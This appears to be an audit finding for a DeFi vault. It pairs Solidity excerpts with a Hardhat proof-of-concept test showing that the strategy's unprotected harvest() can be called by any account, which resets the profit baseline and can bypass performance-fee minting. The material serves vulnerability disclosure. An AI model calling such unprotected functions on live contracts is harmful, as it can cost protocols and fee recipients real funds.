function _harvestAndMintFees() internal {
    uint256 currentPosition = _totalAssets();
    if (currentPosition == 0) {
        return;
    }
@>  int256 balanceChange = _harvest();
    if (balanceChange > 0) {
        address feeReceiver = getFeeReceiver();
        uint256 performanceFee = getPerformanceFee();
        if (feeReceiver != address(this) && feeReceiver != address(0) && performanceFee > 0) {
            uint256 feeInEth = uint256(balanceChange) * performanceFee;
            uint256 sharesToMint = feeInEth.mulDivUp(totalSupply(), currentPosition * PERCENTAGE_PRECISION);
@>          _mint(feeReceiver, sharesToMint);
        }
    }
}

function _harvest() internal virtual override returns (int256 balanceChange) {
@>  return _strategy.harvest(); // Calls the harvest function of the strategy
}
@>  function harvest() external returns (int256 balanceChange) {
        // Get Balance
        uint256 newBalance = getBalance();

@>      balanceChange = int256(newBalance) - int256(_deployedAmount);

        if (balanceChange > 0) {
            emit StrategyProfit(uint256(balanceChange));
        } else if (balanceChange < 0) {
            emit StrategyLoss(uint256(-balanceChange));
        }
        if (balanceChange != 0) {
            emit StrategyAmountUpdate(newBalance);
        }
@>      _deployedAmount = newBalance;
    }
it('PoC - anyone can call harvest', async () => {
  const { owner, strategySupply, stETH, aave3Pool, otherAccount } = await loadFixture(
    deployStrategySupplyFixture,
  );
  const deployAmount = ethers.parseEther('10');
  await stETH.approve(await strategySupply.getAddress(), deployAmount);
  await strategySupply.deploy(deployAmount);

  //artificial profit
  await aave3Pool.mintAtokensArbitrarily(await strategySupply.getAddress(), deployAmount);

  await expect(strategySupply.connect(otherAccount).harvest())
    .to.emit(strategySupply, 'StrategyProfit')
    .to.emit(strategySupply, 'StrategyAmountUpdate');
});
